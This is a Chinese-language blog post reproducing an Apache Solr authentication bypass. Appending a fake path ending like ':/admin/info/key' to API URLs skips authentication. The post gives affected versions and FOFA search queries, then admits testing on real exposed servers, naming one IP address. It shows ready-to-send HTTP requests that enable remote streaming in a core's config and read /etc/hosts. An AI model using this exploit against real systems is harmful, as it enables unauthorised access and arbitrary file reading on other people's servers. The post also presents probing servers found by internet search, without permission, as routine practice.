这个漏洞是24年十月份爆出来的漏洞,此漏洞假的url路径结尾绕过身份认证,主要危害目前爆出来的只有任意文件读取。
原理:由于apache solr在启用身份验证时默认启用PKIAuthenticationPlugin,当solr以cloud模式启动时,攻击者就可以通过在任何solr apI url路径构造虚假路径结尾,绕过系统身份验证从而访问任意路由,并且可以获取敏感数据或者进行恶意操作等。
当 Solr 实例使用 PKIAuthenticationPlugin(在启用 Solr 身份验证时,该插件通常是默认启用状态)时,容易出现身份验证被绕过的情况。具体而言,只要在 Solr API URL 路径的末尾添加一个假结尾,相应请求就能跳过身份验证环节,而且还能维持与原始 URL 路径的 API 契约不变。这个假结尾看似是一个处于未受保护状态的 API 路径,不过它会在完成身份验证之后、进入 API 路由之前,于内部被自动剥离掉。
受影响的版本:
5.3.0 <= apache solr < 8.11.4
9.0.0 <= apache solr < 9.7.0
由于一些原因,靶场未搭建成功需要更高版本的docker,所以我们针对真实环境去复现,使用fofa搜索相关环境。或者说你们也可以自己搭建这种环境。最后会有靶场环境搭建方法
fofa搜索语法:
port="8983" && title="Solr Admin"
或
app="APACHE-Solr"

因为solr默认是有未授权访问漏洞的,所以我们要找开启了身份验证的环境


因为此时有认证,所以访问其他url也是一样需要认证
/solr/admin/info/properties
/solr/admin/cores

当前这个漏洞,就是可以绕过身份认证的过程,方式就是在原有的uri后加上我们的pyload
绕过身份认证,需要抓取数据包继续进行测试
pyload:
:/admin/info/key

此时发现返回200,访问成功
下面就可以开始利用,重新构造请求报文
第一步:首先我们要获取core name

RSEDataSet_shard1_replica_n2
第二步:修改core的配置
POST /solr/RSEDataSet_shard3_replica_n8/config:/admin/info/key HTTP/1.1
Host: 34.36.52.27
SolrAuth: test
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
这里由于配置文件已经被修改了所以会报服务器错误
所以我们就可以直接去读文件了
GET /solr/core名称/debug/dump:/admin/info/key?
param=ContentStreams&stream.url=file:///etc/hosts HTTP/1.1
Host:
SolrAuth: test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close


文件读取成功,ok了老铁
1601

被折叠的 条评论
为什么被折叠?



